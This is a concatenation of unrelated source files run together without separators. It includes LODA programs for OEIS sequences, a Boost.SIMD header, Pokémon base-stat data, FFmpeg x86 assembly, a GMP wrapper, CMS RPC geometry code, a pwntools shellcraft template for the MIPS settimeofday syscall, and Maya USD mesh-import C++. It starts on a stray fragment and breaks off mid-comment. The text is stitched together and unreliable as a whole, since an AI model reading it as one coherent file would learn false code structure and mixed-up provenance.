34 34 */
; A295473: a(0) = 0; for n>0, a(n) = 9*n!. ; 0,9,18,54,216,1080,6480,45360,362880,3265920,32659200,359251200,4311014400,56043187200,784604620800,11769069312000,188305108992000,3201186852864000 mov $1,$0 pow $2,$1 cal $1,142 sub $1,$2 mul $1,9
//============================================================================== // Copyright 2003 - 2011 LASMEA UMR 6602 CNRS/Univ. Clermont II // Copyright 2009 - 2011 LRI UMR 8623 CNRS/Univ Paris Sud XI // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE.txt or copy at // http://www.boost.org/LICENSE_1_0.txt //============================================================================== #ifndef BOOST_SIMD_CONSTANT_CONSTANTS_TWOTO31_HPP_INCLUDED #define BOOST_SIMD_CONSTANT_CONSTANTS_TWOTO31_HPP_INCLUDED #include <boost/simd/include/functor.hpp> #include <boost/simd/constant/register.hpp> #include <boost/simd/constant/hierarchy.hpp> #ifdef BOOST_MSVC #pragma warning(push) #pragma warning(disable: 4310) // cast truncate constants #endif namespace boost { namespace simd { namespace tag { /*! @brief Twoto31 generic tag Represents the Twoto31 constant in generic contexts. @par Models: Hierarchy **/ BOOST_SIMD_CONSTANT_REGISTER( Twoto31, double, (1 << 31) , 0x4f000000, 0x41e0000000000000LL ) } namespace ext { template<class Site, class... Ts> BOOST_FORCEINLINE generic_dispatcher<tag::Twoto31, Site> dispatching_Twoto31(adl_helper, boost::dispatch::meta::unknown_<Site>, boost::dispatch::meta::unknown_<Ts>...) { return generic_dispatcher<tag::Twoto31, Site>(); } template<class... Args> struct impl_Twoto31; } /*! Generates 2 to the power 31 (\f$2^{31}\f$) @par Semantic: @code T r = Twoto31<T>(); @endcode is similar to: @code T r = pow(2, 31); @endcode **/ BOOST_SIMD_CONSTANT_IMPLEMENTATION(boost::simd::tag::Twoto31, Twoto31) } } #include <boost/simd/constant/common.hpp> #ifdef BOOST_MSVC #pragma warning(pop) #endif #endif
; A168185: Characteristic function of numbers that are not multiples of 12. ; 0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1 mov $2,12 gcd $2,$0 div $2,8 pow $1,$2 mov $0,$1
; A152785: a(n)=Floor[(n^2)/Catalan]. ; 0,1,4,9,17,27,39,53,69,88,109,132,157,184,213,245,279,315,353,394,436,481,528,577,628,682,738,795,855,918,982,1049,1117,1188,1262,1337,1414,1494,1576,1660,1746,1835,1925,2018,2113,2210,2310,2411,2515,2621,2729 mov $4,$0 mul $0,3 pow $0,2 mov $2,6 sub $2,$0 lpb $0 mov $3,$2 mov $2,$0 mov $0,$6 mul $2,2 add $3,7 sub $3,$2 mul $3,2 sub $5,$3 add $7,$5 div $7,14 lpe div $7,42 mov $1,$7 mov $8,$4 mul $8,$4 add $1,$8
db DEX_PONYTA ; pokedex id db 50 ; base hp db 85 ; base attack db 55 ; base defense db 90 ; base speed db 65 ; base special db FIRE ; species type 1 db FIRE ; species type 2 db 190 ; catch rate db 152 ; base exp yield INCBIN "pic/bmon/ponyta.pic",0,1 ; 66, sprite dimensions dw PonytaPicFront dw PonytaPicBack ; attacks known at lvl 0 db EMBER db 0 db 0 db 0 db 0 ; growth rate ; learnset tmlearn 6,7,8 tmlearn 9,10 tmlearn 20 tmlearn 31,32 tmlearn 33,34,38,39,40 tmlearn 44 tmlearn 50 db 0 ; padding
;***************************************************************************** ;* x86-optimized functions for interlace filter ;* ;* Copyright (C) 2014 Kieran Kunhya <kierank@obe.tv> ;* Copyright (c) 2014 Michael Niedermayer <michaelni@gmx.at> ;* Copyright (c) 2017 Thomas Mundt <tmundt75@gmail.com> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or modify ;* it under the terms of the GNU General Public License as published by ;* the Free Software Foundation; either version 2 of the License, or ;* (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ;* GNU General Public License for more details. ;* ;* You should have received a copy of the GNU General Public License along ;* with FFmpeg; if not, write to the Free Software Foundation, Inc., ;* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA pw_4: times 8 dw 4 SECTION .text %macro LOWPASS 1 add dstq, hq add srcq, hq add mrefq, srcq add prefq, srcq neg hq pcmpeq%1 m6, m6 test hq, mmsize je .loop ;process 1 * mmsize movu m0, [mrefq+hq] pavg%1 m0, [prefq+hq] pxor m0, m6 pxor m2, m6, [srcq+hq] pavg%1 m0, m2 pxor m0, m6 mova [dstq+hq], m0 add hq, mmsize jge .end .loop: movu m0, [mrefq+hq] movu m1, [mrefq+hq+mmsize] pavg%1 m0, [prefq+hq] pavg%1 m1, [prefq+hq+mmsize] pxor m0, m6 pxor m1, m6 pxor m2, m6, [srcq+hq] pxor m3, m6, [srcq+hq+mmsize] pavg%1 m0, m2 pavg%1 m1, m3 pxor m0, m6 pxor m1, m6 mova [dstq+hq], m0 mova [dstq+hq+mmsize], m1 add hq, 2*mmsize jl .loop .end: REP_RET %endmacro %macro LOWPASS_LINE 0 cglobal lowpass_line, 5, 5, 7, dst, h, src, mref, pref LOWPASS b cglobal lowpass_line_16, 5, 5, 7, dst, h, src, mref, pref shl hq, 1 LOWPASS w %endmacro %macro LOWPASS_LINE_COMPLEX 0 cglobal lowpass_line_complex, 5, 5, 8, dst, h, src, mref, pref pxor m7, m7 .loop: movu m0, [srcq+mrefq] movu m2, [srcq+prefq] mova m1, m0 mova m3, m2 punpcklbw m0, m7 punpcklbw m2, m7 punpckhbw m1, m7 punpckhbw m3, m7 paddw m0, m2 paddw m1, m3 mova m6, m0 mova m5, m1 movu m2, [srcq] mova m3, m2 punpcklbw m2, m7 punpckhbw m3, m7 paddw m0, m2 paddw m1, m3 psllw m2, 1 psllw m3, 1 paddw m0, m2 paddw m1, m3 psllw m0, 1 psllw m1, 1 pcmpgtw m6, m2 pcmpgtw m5, m3 packsswb m6, m5 movu m2, [srcq+mrefq*2] movu m4, [srcq+prefq*2] mova m3, m2 mova m5, m4 punpcklbw m2, m7 punpcklbw m4, m7 punpckhbw m3, m7 punpckhbw m5, m7 paddw m2, m4 paddw m3, m5 paddw m0, [pw_4] paddw m1, [pw_4] psubusw m0, m2 psubusw m1, m3 psrlw m0, 3 psrlw m1, 3 packuswb m0, m1 mova m1, m0 movu m2, [srcq] pmaxub m0, m2 pminub m1, m2 pand m0, m6 pandn m6, m1 por m0, m6 mova [dstq], m0 add dstq, mmsize add srcq, mmsize sub hd, mmsize jg .loop REP_RET cglobal lowpass_line_complex_12, 5, 5, 8, 16, dst, h, src, mref, pref, clip_max movd m7, DWORD clip_maxm SPLATW m7, m7, 0 movu [rsp], m7 .loop: movu m0, [srcq+mrefq] movu m1, [srcq+mrefq+mmsize] movu m2, [srcq+prefq] movu m3, [srcq+prefq+mmsize] paddw m0, m2 paddw m1, m3 mova m6, m0 mova m7, m1 movu m2, [srcq] movu m3, [srcq+mmsize] paddw m0, m2 paddw m1, m3 psllw m2, 1 psllw m3, 1 paddw m0, m2 paddw m1, m3 psllw m0, 1 psllw m1, 1 pcmpgtw m6, m2 pcmpgtw m7, m3 movu m2, [srcq+2*mrefq] movu m3, [srcq+2*mrefq+mmsize] movu m4, [srcq+2*prefq] movu m5, [srcq+2*prefq+mmsize] paddw m2, m4 paddw m3, m5 paddw m0, [pw_4] paddw m1, [pw_4] psubusw m0, m2 psubusw m1, m3 psrlw m0, 3 psrlw m1, 3 pminsw m0, [rsp] pminsw m1, [rsp] mova m2, m0 mova m3, m1 movu m4, [srcq] pmaxsw m0, m4 pminsw m2, m4 movu m4, [srcq + mmsize] pmaxsw m1, m4 pminsw m3, m4 pand m0, m6 pand m1, m7 pandn m6, m2 pandn m7, m3 por m0, m6 por m1, m7 mova [dstq], m0 mova [dstq+mmsize], m1 add dstq, 2*mmsize add srcq, 2*mmsize sub hd, mmsize jg .loop REP_RET %endmacro INIT_XMM sse2 LOWPASS_LINE INIT_XMM avx LOWPASS_LINE %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 LOWPASS_LINE %endif INIT_XMM sse2 LOWPASS_LINE_COMPLEX
dnl x86-64 mpn_popcount optimized for Pentium 4. dnl Copyright 2007 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') MULFUNC_PROLOGUE(mpn_popcount) include_mpn(`x86/pentium4/sse2/popcount.asm')
/** Implementation of the RPC Geometry Builder from DDD * * \author Port of: MuDDDRPCBuilder (ORCA) * \author M. Maggi - INFN Bari */ #include "Geometry/RPCGeometryBuilder/src/RPCGeometryParsFromDD.h" #include "DataFormats/MuonDetId/interface/RPCDetId.h" #include <CondFormats/GeometryObjects/interface/RecoIdealGeometry.h> #include <DetectorDescription/Core/interface/DDFilter.h> #include <DetectorDescription/Core/interface/DDFilteredView.h> #include <DetectorDescription/Core/interface/DDSolid.h> #include "Geometry/MuonNumbering/interface/MuonGeometryNumbering.h" #include "Geometry/MuonNumbering/interface/MuonBaseNumber.h" #include "Geometry/MuonNumbering/interface/RPCNumberingScheme.h" #include "DataFormats/GeometryVector/interface/Basic3DVector.h" #include "CLHEP/Units/GlobalSystemOfUnits.h" #include <iostream> #include <algorithm> RPCGeometryParsFromDD::RPCGeometryParsFromDD() {} RPCGeometryParsFromDD::~RPCGeometryParsFromDD() {} void RPCGeometryParsFromDD::build(const DDCompactView* cview, const MuonGeometryConstants& muonConstants, RecoIdealGeometry& rgeo) { const std::string attribute = "ReadOutName"; const std::string value = "MuonRPCHits"; // Asking only for the MuonRPC's DDSpecificsMatchesValueFilter filter{DDValue(attribute, value, 0.0)}; DDFilteredView fview(*cview, filter); this->buildGeometry(fview, muonConstants, rgeo); } void RPCGeometryParsFromDD::buildGeometry(DDFilteredView& fview, const MuonGeometryConstants& muonConstants, RecoIdealGeometry& rgeo) { for (bool doSubDets = fview.firstChild(); doSubDets == true; doSubDets = fview.nextSibling()) { // Get the Base Muon Number MuonGeometryNumbering mdddnum(muonConstants); MuonBaseNumber mbn = mdddnum.geoHistoryToBaseNumber(fview.geoHistory()); // Get the The Rpc det Id RPCNumberingScheme rpcnum(muonConstants); const int detid = rpcnum.baseNumberToUnitNumber(mbn); RPCDetId rpcid(detid); DDValue numbOfStrips("nStrips"); std::vector<const DDsvalues_type*> specs(fview.specifics()); int nStrips = 0; for (auto& spec : specs) { if (DDfetch(spec, numbOfStrips)) { nStrips = int(numbOfStrips.doubles()[0]); } } if (nStrips == 0) std::cout << "No strip found!!" << std::endl; const std::vector<double> dpar = fview.logicalPart().solid().parameters(); const std::string name = fview.logicalPart().name().name(); const std::vector<std::string> strpars = {name}; const DDTranslation& tran = fview.translation(); const DDRotationMatrix& rota = fview.rotation(); //.Inverse(); DD3Vector x, y, z; rota.GetComponents(x, y, z); std::vector<double> pars; if (dpar.size() == 3) { const double width = dpar[0]; const double length = dpar[1]; const double thickness = dpar[2]; pars = {width, length, thickness, numbOfStrips.doubles()[0]}; } else { pars = { dpar[4] /*b/2*/, dpar[8] /*B/2*/, dpar[0] /*h/2*/, 0.4, numbOfStrips.doubles()[0] /*h/2*/ }; } const std::vector<double> vtra = {tran.x(), tran.y(), tran.z()}; const std::vector<double> vrot = {x.X(), x.Y(), x.Z(), y.X(), y.Y(), y.Z(), z.X(), z.Y(), z.Z()}; rgeo.insert(rpcid.rawId(), vtra, vrot, pars, strpars); } }
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="tv, tz"/> <%docstring> Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information. Arguments: tv(timeval): tv tz(timezone): tz </%docstring> ${syscall('SYS_settimeofday', tv, tz)}
// // Copyright 2016 Pixar // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // Modifications copyright (C) 2020 Autodesk // #include "meshReadUtils.h" #include <maya/MFloatVector.h> #include <maya/MFloatVectorArray.h> #include <maya/MFnBlendShapeDeformer.h> #include <maya/MFnNumericAttribute.h> #include <maya/MFnPartition.h> #include <maya/MFnSet.h> #include <maya/MGlobal.h> #include <maya/MIntArray.h> #include <maya/MItMeshEdge.h> #include <maya/MItMeshFaceVertex.h> #include <maya/MItMeshVertex.h> #include <maya/MPlug.h> #include <maya/MPointArray.h> #include <maya/MSelectionList.h> #include <maya/MStatus.h> #include <maya/MUintArray.h> #include <pxr/base/gf/vec3f.h> #include <pxr/base/tf/diagnostic.h> #include <pxr/base/tf/staticTokens.h> #include <pxr/base/tf/token.h> #include <pxr/base/vt/array.h> #include <pxr/usd/usdGeom/mesh.h> #include <pxr/usd/usdGeom/tokens.h> #include <pxr/usd/usdUtils/pipeline.h> #include <mayaUsd/fileio/utils/adaptor.h> #include <mayaUsd/fileio/utils/readUtil.h> #include <mayaUsd/fileio/utils/roundTripUtil.h> #include <mayaUsd/utils/colorSpace.h> #include <mayaUsd/utils/util.h> PXR_NAMESPACE_OPEN_SCOPE TF_DEFINE_PUBLIC_TOKENS(UsdMayaMeshPrimvarTokens, PXRUSDMAYA_MESH_PRIMVAR_TOKENS); // These tokens are supported Maya attributes used for Mesh surfaces TF_DEFINE_PRIVATE_TOKENS( _meshTokens, // we capitalize this because it doesn't correspond to an actual attribute (USD_EmitNormals) // This is a value for face varying interpolate boundary from OpenSubdiv 2 // that we translate to face varying linear interpolation for OpenSubdiv 3. (alwaysSharp) // This token is deprecated as it is from OpenSubdiv 2 and the USD // schema now conforms to OpenSubdiv 3, but we continue to look for it // and translate to the equivalent new value for backwards compatibility. (USD_faceVaryingInterpolateBoundary) ); PXRUSDMAYA_REGISTER_ADAPTOR_ATTRIBUTE_ALIAS( UsdGeomTokens->subdivisionScheme, "USD_subdivisionScheme"); PXRUSDMAYA_REGISTER_ADAPTOR_ATTRIBUTE_ALIAS( UsdGeomTokens->interpolateBoundary, "USD_interpolateBoundary"); PXRUSDMAYA_REGISTER_ADAPTOR_ATTRIBUTE_ALIAS( UsdGeomTokens->faceVaryingLinearInterpolation, "USD_faceVaryingLinearInterpolation"); namespace { bool addCreaseSet( const std::string &rootName, double creaseLevel, MSelectionList &componentList, MStatus *statusOK ) { // Crease Set functionality is native to Maya, but undocumented and not // directly supported in the API. The below implementation is derived from // the editor code in the maya distro at: // // .../lib/python2.7/site-packages/maya/app/general/creaseSetEditor.py MObject creasePartitionObj; *statusOK = UsdMayaUtil::GetMObjectByName(":creasePartition", creasePartitionObj); if (creasePartitionObj.isNull()) { statusOK->clear(); // There is no documented way to create a shared node through the C++ API const std::string partitionName = MGlobal::executeCommandStringResult( "createNode \"partition\" -shared -name \":creasePartition\"").asChar(); *statusOK = UsdMayaUtil::GetMObjectByName(partitionName, creasePartitionObj); if (!*statusOK) { return false; } } MFnPartition creasePartition( creasePartitionObj, statusOK ); if (!*statusOK) return false; std::string creaseSetname = TfStringPrintf("%s_creaseSet#",rootName.c_str()); MFnDependencyNode creaseSetFn; MObject creaseSetObj = creaseSetFn.create("creaseSet", creaseSetname.c_str(), statusOK ); if (!*statusOK) return false; MPlug levelPlug = creaseSetFn.findPlug("creaseLevel",false, statusOK); if (!*statusOK) return false; *statusOK = levelPlug.setValue(creaseLevel); if (!*statusOK) return false; *statusOK = creasePartition.addMember(creaseSetObj); if (!*statusOK) return false; MFnSet creaseSet( creaseSetObj, statusOK ); if (!*statusOK) return false; *statusOK = creaseSet.addMembers( componentList ); if (!*statusOK) return false; return true; } MIntArray getMayaFaceVertexAssignmentIds( const MFnMesh& meshFn, const TfToken& interpolation, const VtIntArray& assignmentIndices, const int unauthoredValuesIndex) { MIntArray valueIds(meshFn.numFaceVertices(), -1); MItMeshFaceVertex itFV(meshFn.object()); unsigned int fvi = 0; for (itFV.reset(); !itFV.isDone(); itFV.next(), ++fvi) { int valueId = 0; if (interpolation == UsdGeomTokens->constant) { valueId = 0; } else if (interpolation == UsdGeomTokens->uniform) { valueId = itFV.faceId(); } else if (interpolation == UsdGeomTokens->vertex) { valueId = itFV.vertId(); } else if (interpolation == UsdGeomTokens->faceVarying) { valueId = fvi; } if (static_cast<size_t>(valueId) < assignmentIndices.size()) { // The data is indexed, so consult the indices array for the // correct index into the data. valueId = assignmentIndices[valueId]; if (valueId == unauthoredValuesIndex) { // This component had no authored value, so leave it unassigned. continue; } } valueIds[fvi] = valueId; } return valueIds; } bool assignUVSetPrimvarToMesh(const UsdGeomPrimvar& primvar, MFnMesh& meshFn, bool hasDefaultUVSet) { const TfToken& primvarName = primvar.GetPrimvarName(); // Get the raw data before applying any indexing. VtVec2fArray uvValues; if (!primvar.Get(&uvValues) || uvValues.empty()) { TF_WARN("Could not read UV values from primvar '%s' on mesh: %s", primvarName.GetText(), primvar.GetAttr().GetPrimPath().GetText()); return false; } // This is the number of UV values assuming the primvar is NOT indexed. VtIntArray assignmentIndices; if (primvar.GetIndices(&assignmentIndices)) { // The primvar IS indexed, so the indices array is what determines the // number of UV values. int unauthoredValuesIndex = primvar.GetUnauthoredValuesIndex(); // Replace any index equal to unauthoredValuesIndex with -1. if (unauthoredValuesIndex != -1) { for (int& index : assignmentIndices) { if (index == unauthoredValuesIndex) { index = -1; } } } // Furthermore, if unauthoredValuesIndex is valid for uvValues, then // remove it from uvValues and shift the indices (we don't want to // import the unauthored value into Maya, where it has no meaning). if (unauthoredValuesIndex >= 0 && static_cast<size_t>(unauthoredValuesIndex) < uvValues.size()) { // This moves [unauthoredValuesIndex + 1, end) to // [unauthoredValuesIndex, end - 1), erasing the // unauthoredValuesIndex. std::move( uvValues.begin() + unauthoredValuesIndex + 1, uvValues.end(), uvValues.begin() + unauthoredValuesIndex); uvValues.pop_back(); for (int& index : assignmentIndices) { if (index > unauthoredValuesIndex) { index = index - 1; } } } } // Go through the UV data and add the U and V values to separate // MFloatArrays. MFloatArray uCoords; MFloatArray vCoords; for (const GfVec2f& v : uvValues) { uCoords.append(v[0]); vCoords.append(v[1]); } MStatus status{MS::kSuccess}; MString uvSetName(primvarName.GetText()); bool createUVSet = true; if (primvarName == UsdUtilsGetPrimaryUVSetName()) { // We assume that the primary USD UV set maps to Maya's default 'map1' // set which always exists, so we shouldn't try to create it. uvSetName = UsdMayaMeshPrimvarTokens->DefaultMayaTexcoordName.GetText(); createUVSet = false; } else if (!hasDefaultUVSet) { // If map1 still exists, we rename and re-use it: MStringArray uvSetNames; meshFn.getUVSetNames(uvSetNames); if (uvSetNames[0] == UsdMayaMeshPrimvarTokens->DefaultMayaTexcoordName.GetText()) { meshFn.renameUVSet( UsdMayaMeshPrimvarTokens->DefaultMayaTexcoordName.GetText(), uvSetName); createUVSet = false; } } if (createUVSet) { status = meshFn.createUVSet(uvSetName); if (status != MS::kSuccess) { TF_WARN("Unable to create UV set '%s' for mesh: %s", uvSetName.asChar(), meshFn.fullPathName().asChar()); return false; } } // The following two lines should have no effect on user-visible state but // prevent a Maya crash in MFnMesh.setUVs after creating a crease set. // XXX this workaround is needed pending a fix by Autodesk. MString currentSet = meshFn.currentUVSetName(); meshFn.setCurrentUVSetName(currentSet); // Create UVs on the mesh from the values we collected out of the primvar. // We'll assign mesh components to these values below. status = meshFn.setUVs(uCoords, vCoords, &uvSetName); if (status != MS::kSuccess) { TF_WARN("Unable to set UV data on UV set '%s' for mesh: %s", uvSetName.asChar(), meshFn.fullPathName().asChar()); return false; } const TfToken& interpolation = primvar.GetInterpolation(); // Build an array of value assignments for each face vertex in the mesh. // Any assignments left as -1 will not be assigned a value. MIntArray uvIds = getMayaFaceVertexAssignmentIds(meshFn, interpolation, assignmentIndices, -1); MIntArray vertexCounts; MIntArray vertexList; status = meshFn.getVertices(vertexCounts, vertexList); if (status != MS::kSuccess) { TF_WARN("Could not get vertex counts for UV set '%s' on mesh: %s", uvSetName.asChar(), meshFn.fullPathName().asChar()); return false; } status = meshFn.assignUVs(vertexCounts, uvIds, &uvSetName); if (status != MS::kSuccess) { TF_WARN("Could not assign UV values to UV set '%s' on mesh: %s", uvSetName.asChar(), meshFn.fullPathName().asChar()); return false; } return true; } bool assignColorSetPrimvarToMesh(const UsdGeomMesh& mesh, const UsdGeomPrimvar& primvar, MFnMesh& meshFn) { const TfToken& primvarName = primvar.GetPrimvarName(); const SdfValueTypeName& typeName = primvar.GetTypeName(); MString colorSetName(primvarName.GetText()); // If the primvar is displayOpacity and it is a FloatArray, check if // displayColor is authored. If not, we'll import this 'displayOpacity' // primvar as a 'displayColor' color set. This supports cases where the // user created a single channel value for displayColor. // Note that if BOTH displayColor and displayOpacity are authored, they will // be imported as separate color sets. We do not attempt to combine them // into a single color set. if (primvarName == UsdMayaMeshPrimvarTokens->DisplayOpacityColorSetName && typeName == SdfValueTypeNames->FloatArray) { if (!UsdMayaRoundTripUtil::IsAttributeUserAuthored(mesh.GetDisplayColorPrimvar())) { colorSetName = UsdMayaMeshPrimvarTokens->DisplayColorColorSetName.GetText(); } } // We'll need to convert colors from linear to display if this color set is // for display colors. const bool isDisplayColor = (colorSetName == UsdMayaMeshPrimvarTokens->DisplayColorColorSetName.GetText()); // Get the raw data before applying any indexing. We'll only populate one // of these arrays based on the primvar's typeName, and we'll also set the // color representation so we know which array to use later. VtFloatArray alphaArray; VtVec3fArray rgbArray; VtVec4fArray rgbaArray; MFnMesh::MColorRepresentation colorRep; size_t numValues = 0; MStatus status = MS::kSuccess; if (typeName == SdfValueTypeNames->FloatArray) { colorRep = MFnMesh::kAlpha; if (!primvar.Get(&alphaArray) || alphaArray.empty()) { status = MS::kFailure; } else { numValues = alphaArray.size(); } } else if (typeName == SdfValueTypeNames->Float3Array || typeName == SdfValueTypeNames->Color3fArray) { colorRep = MFnMesh::kRGB; if (!primvar.Get(&rgbArray) || rgbArray.empty()) { status = MS::kFailure; } else { numValues = rgbArray.size(); } } else if (typeName == SdfValueTypeNames->Float4Array || typeName == SdfValueTypeNames->Color4fArray) { colorRep = MFnMesh::kRGBA; if (!primvar.Get(&rgbaArray) || rgbaArray.empty()) { status = MS::kFailure; } else { numValues = rgbaArray.size(); } } else { TF_WARN("Unsupported color set primvar type '%s' for primvar '%s' on " "mesh: %s", typeName.GetAsToken().GetText(), primvarName.GetText(), primvar.GetAttr().GetPrimPath().GetText()); return false; } if (status != MS::kSuccess || numValues == 0) { TF_WARN("Could not read color set values from primvar '%s' on mesh: %s", primvarName.GetText(), primvar.GetAttr().GetPrimPath().GetText()); return false; } VtIntArray assignmentIndices; int unauthoredValuesIndex = -1; if (primvar.GetIndices(&assignmentIndices)) { // The primvar IS indexed, so the indices array is what determines the // number of color values. numValues = assignmentIndices.size(); unauthoredValuesIndex = primvar.GetUnauthoredValuesIndex(); } // Go through the color data and translate the values into MColors in the // colorArray, taking into consideration that indexed data may have been // authored sparsely. If the assignmentIndices array is empty then the data // is NOT indexed. // Note that with indexed data, the data is added to the arrays in ascending // component ID order according to the primvar's interpolation (ascending // face ID for uniform interpolation, ascending vertex ID for vertex // interpolation, etc.). This ordering may be different from the way the // values are ordered in the primvar. Because of this, we recycle the // assignmentIndices array as we go to store the new mapping from component // index to color index. MColorArray colorArray; for (size_t i = 0; i < numValues; ++i) { int valueIndex = i; if (i < assignmentIndices.size()) { // The data is indexed, so consult the indices array for the // correct index into the data. valueIndex = assignmentIndices[i]; if (valueIndex == unauthoredValuesIndex) { // This component is unauthored, so just update the // mapping in assignmentIndices and then skip the value. // We don't actually use the value at the unassigned index. assignmentIndices[i] = -1; continue; } // We'll be appending a new value, so the current length of the // array gives us the new value's index. assignmentIndices[i] = colorArray.length(); } GfVec4f colorValue(1.0); switch(colorRep) { case MFnMesh::kAlpha: colorValue[3] = alphaArray[valueIndex]; break; case MFnMesh::kRGB: colorValue[0] = rgbArray[valueIndex][0]; colorValue[1] = rgbArray[valueIndex][1]; colorValue[2] = rgbArray[valueIndex][2]; break; case MFnMesh::kRGBA: colorValue[0] = rgbaArray[valueIndex][0]; colorValue[1] = rgbaArray[valueIndex][1]; colorValue[2] = rgbaArray[valueIndex][2]; colorValue[3] = rgbaArray[valueIndex][3]; break; default: break; } if (isDisplayColor) { colorValue = UsdMayaColorSpace::ConvertLinearToMaya(colorValue); } MColor mColor(colorValue[0], colorValue[1], colorValue[2], colorValue[3]); colorArray.append(mColor); } // colorArray now stores all of the values and any unassigned components // have had their indices set to -1, so update the unauthored values index. unauthoredValuesIndex = -1; const bool clamped = UsdMayaRoundTripUtil::IsPrimvarClamped(primvar); status = meshFn.createColorSet(colorSetName, nullptr, clamped, colorRep); if (status != MS::kSuccess) { TF_WARN("Unable to create color set '%s' for mesh: %s", colorSetName.asChar(), meshFn.fullPathName().asChar()); return false; } // Create colors on the mesh from the values we collected out of the // primvar. We'll assign mesh components to these values below. status = meshFn.setColors(colorArray, &colorSetName, colorRep); if (status != MS::kSuccess) { TF_WARN("Unable to set color data on color set '%s' for mesh: %s", colorSetName.asChar(), meshFn.fullPathName().asChar()); return false; } const TfToken& interpolation = primvar.GetInterpolation(); // Build an array of value assignments for each face vertex in the mesh. // Any assignments left as -1 will not be assigned a value. MIntArray colorIds = getMayaFaceVertexAssignmentIds(meshFn, interpolation, assignmentIndices, unauthoredValuesIndex); status = meshFn.assignColors(colorIds, &colorSetName); if (status != MS::kSuccess) { TF_WARN("Could not assign color values to color set '%s' on mesh: %s", colorSetName.asChar(), meshFn.fullPathName().asChar()); return false; } // we only visualize the colorset by default if it is "displayColor". // this is a limitation and affects user experience. This needs further review. HS, 1-Nov-2019 MStringArray colorSetNames; if (meshFn.getColorSetNames(colorSetNames) == MS::kSuccess) { for (unsigned int i = 0u; i < colorSetNames.length(); ++i) { const MString colorSetName = colorSetNames[i]; if (std::string(colorSetName.asChar()) == UsdMayaMeshPrimvarTokens->DisplayColorColorSetName.GetString()) { const auto csRep = meshFn.getColorRepresentation(colorSetName); if (csRep == MFnMesh::kRGB || csRep == MFnMesh::kRGBA) { meshFn.setCurrentColorSetName(colorSetName); MPlug plg = meshFn.findPlug("displayColors"); if (!plg.isNull()) { plg.setBool(true); } } break; } } } return true; } bool assignConstantPrimvarToMesh(const UsdGeomPrimvar& primvar, MFnMesh& meshFn) { const TfToken& interpolation = primvar.GetInterpolation(); if (interpolation != UsdGeomTokens->constant) { return false; } const TfToken& name = primvar.GetBaseName(); const SdfValueTypeName& typeName = primvar.GetTypeName(); const SdfVariability& variability = SdfVariabilityUniform; MObject attrObj = UsdMayaReadUtil::FindOrCreateMayaAttr( typeName, variability, meshFn, name.GetText()); if (attrObj.isNull()) { return false; } VtValue primvarData; primvar.Get(&primvarData); MStatus status{MS::kSuccess}; MPlug plug = meshFn.findPlug( name.GetText(), /* wantNetworkedPlug = */ true, &status); if (!status || plug.isNull()) { return false; } return UsdMayaReadUtil::SetMayaAttr(plug, primvarData); } } // This can be customized for specific pipelines. bool UsdMayaMeshReadUtils::getEmitNormalsTag(const MFnMesh& mesh, bool* value) { MPlug plug = mesh.findPlug(MString(_meshTokens->USD_EmitNormals.GetText())); if (!plug.isNull()) { *value = plug.asBool(); return true; } return false; } void UsdMayaMeshReadUtils::setEmitNormalsTag( MFnMesh& meshFn, const bool emitNormals) { MStatus status{MS::kSuccess}; MFnNumericAttribute nAttr; MObject attr = nAttr.create(_meshTokens->USD_EmitNormals.GetText(), "", MFnNumericData::kBoolean, 0, &status); if (status == MS::kSuccess) { meshFn.addAttribute(attr); MPlug plug = meshFn.findPlug(attr); if (!plug.isNull()) { plug.setBool(emitNormals); } } } void UsdMayaMeshReadUtils::assignPrimvarsToMesh(const UsdGeomMesh& mesh, const MObject& meshObj, const TfToken::Set& excludePrimvarSet) { if(meshObj.apiType() != MFn::kMesh){ return; } MFnMesh meshFn(meshObj); // GETTING PRIMVARS const std::vector<UsdGeomPrimvar> primvars = mesh.GetPrimvars(); // Maya always has a map1 UV set. We need to find out if there is any stream in the file that // will use that slot. If not, the first texcoord stream to load will replace the default map1 // stream. bool hasDefaultUVSet = false; for (const UsdGeomPrimvar& primvar: primvars) { const SdfValueTypeName typeName = primvar.GetTypeName(); if (typeName == SdfValueTypeNames->TexCoord2fArray || (UsdMayaReadUtil::ReadFloat2AsUV() && typeName == SdfValueTypeNames->Float2Array)) { const TfToken fullName = primvar.GetPrimvarName(); if (fullName == UsdMayaMeshPrimvarTokens->DefaultMayaTexcoordName || fullName == UsdUtilsGetPrimaryUVSetName()) { hasDefaultUVSet = true; } } } for (const UsdGeomPrimvar& primvar: primvars) { const TfToken name = primvar.GetBaseName(); const TfToken fullName = primvar.GetPrimvarName(); const SdfValueTypeName typeName = primvar.GetTypeName(); const TfToken& interpolation = primvar.GetInterpolation(); // Exclude primvars using the full primvar name without "primvars:". // This applies to all primvars; we don't 